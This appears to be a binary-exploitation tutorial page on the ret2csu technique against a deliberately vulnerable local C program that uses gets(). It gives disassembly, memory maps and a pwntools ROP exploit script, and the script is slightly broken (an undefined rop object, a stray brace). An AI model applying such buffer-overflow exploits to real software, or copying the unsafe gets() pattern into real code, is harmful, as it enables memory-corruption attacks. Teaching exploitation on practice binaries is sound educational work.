Exploitation

Source

1
#include <stdio.h>
2
â€‹
3
int win(int x, int y, int z) {
4
5
puts("Awesome work!");
6
}
7
}
8
â€‹
9
int main() {
10
puts("Come on then, ret2csu me");
11
â€‹
12
char input[30];
13
gets(input);
14
return 0;
15
}
Copied!
Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the point of this. Try calling `win()`, and to do that you have to populate the register `rdx`. Try what we've talked about, and then have a look at the answer if you get stuck.

Analysis

We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.
1
[...]
2
0x00401208 4c89f2 mov rdx, r14
3
0x0040120b 4c89ee mov rsi, r13
4
0x0040120e 4489e7 mov edi, r12d
5
0x00401211 41ff14df call qword [r15 + rbx*8]
6
7
0x00401219 4839dd cmp rbp, rbx
8
0x0040121c 75ea jne 0x401208
9
10
0x00401222 5b pop rbx
11
0x00401223 5d pop rbp
12
0x00401224 415c pop r12
13
0x00401226 415d pop r13
14
0x00401228 415e pop r14
15
0x0040122a 415f pop r15
16
0x0040122c c3 ret
Copied!
1
from pwn import *
2
â€‹
3
elf = context.binary = ELF('./vuln')
4
p = process()
5
â€‹
6
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
7
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
Copied!
Note I'm not popping RBX, despite the `call`. This is because RBX ends up being `0` anyway, and you want to mess with the least number of registers you need to to ensure the best success.

Exploitation

Finding a win()

Now we need to find a memory location that has the address of `win()` written into it so that we can point `r15` at it. I'm going to opt to call `gets()` again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.
To do this, I'll run r2 on the binary then `dcu main` to contiune until main. Now let's check permissions:
1
[0x00401199]> dm
2
0x0000000000400000 - 0x0000000000401000 - usr 4K s r--
3
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x
4
0x0000000000402000 - 0x0000000000403000 - usr 4K s r--
5
0x0000000000403000 - 0x0000000000404000 - usr 4K s r--
6
0x0000000000404000 - 0x0000000000405000 - usr 4K s rw-
Copied!
The third location is RW, so let's check it out.
1
0x00401199]> pxq @ 0x0000000000404000
2
0x00404000 0x0000000000403e20 0x00007f7235252180 >@......!%5r...
3
0x00404010 0x00007f723523c5e0 0x0000000000401036 ..#[email protected]
4
0x00404020 0x0000000000401046 0x0000000000000000 [email protected]
Copied!
The address `0x404028` appears unused, so I'll write `win()` there.
1
RW_LOC = 0x00404028
Copied!

To do this, I'll just use the ROP class.
1
rop.raw('A' * 40)
2
rop.gets(RW_LOC)
Copied!

Popping the registers

Now we have the address written there, let's just get the massive ropchain and plonk it all in
1
rop.raw(POP_CHAIN)
2
rop.raw(0) # r12
3
rop.raw(0) # r13
4
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
5
rop.raw(RW_LOC) # r15 - holds location of called function!
6
rop.raw(REG_CALL) # all the movs, plus the call
Copied!

Sending it off

Don't forget to pass a parameter to the `gets()`:
1
p.sendlineafter('me\n', rop.chain())
2
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
3
print(p.recvline()) # should receive "Awesome work!"
Copied!

Final Exploit

1
from pwn import *
2
â€‹
3
elf = context.binary = ELF('./vuln')
4
p = process()
5
â€‹
6
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
7
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
8
RW_LOC = 0x00404028
9
â€‹
10
rop.raw('A' * 40)
11
rop.gets(RW_LOC)
12
rop.raw(POP_CHAIN)
13
rop.raw(0) # r12
14
rop.raw(0) # r13
15
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
16
rop.raw(RW_LOC) # r15 - holds location of called function!
17
rop.raw(REG_CALL) # all the movs, plus the call
18
â€‹
19
p.sendlineafter('me\n', rop.chain())
20
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
21
print(p.recvline()) # should receive "Awesome work!"
Copied!
And we have successfully controlled RDX - without any RDX gadgets!

Simplification

As you probably noticed, we don't need to pop off r12 or r13, so we can move `POP_CHAIN` a couple of intructions along:
1
from pwn import *
2
â€‹
3
elf = context.binary = ELF('./vuln')
4
p = process()
5
â€‹
6
rop = ROP(elf)
7
â€‹
8
POP_CHAIN = 0x00401228 # pop r14, pop r15, ret
9
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
10
RW_LOC = 0x00404028
11
â€‹
12
rop.raw('A' * 40)
13
rop.gets(RW_LOC)
14
rop.raw(POP_CHAIN)
15
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
16
rop.raw(RW_LOC) # r15 - holds location of called function!
17
rop.raw(REG_CALL) # all the movs, plus the call
18
â€‹
19
p.sendlineafter('me\n', rop.chain())
20
p.sendline(p64(elf.sym['win']))
21
print(p.recvline())
Copied!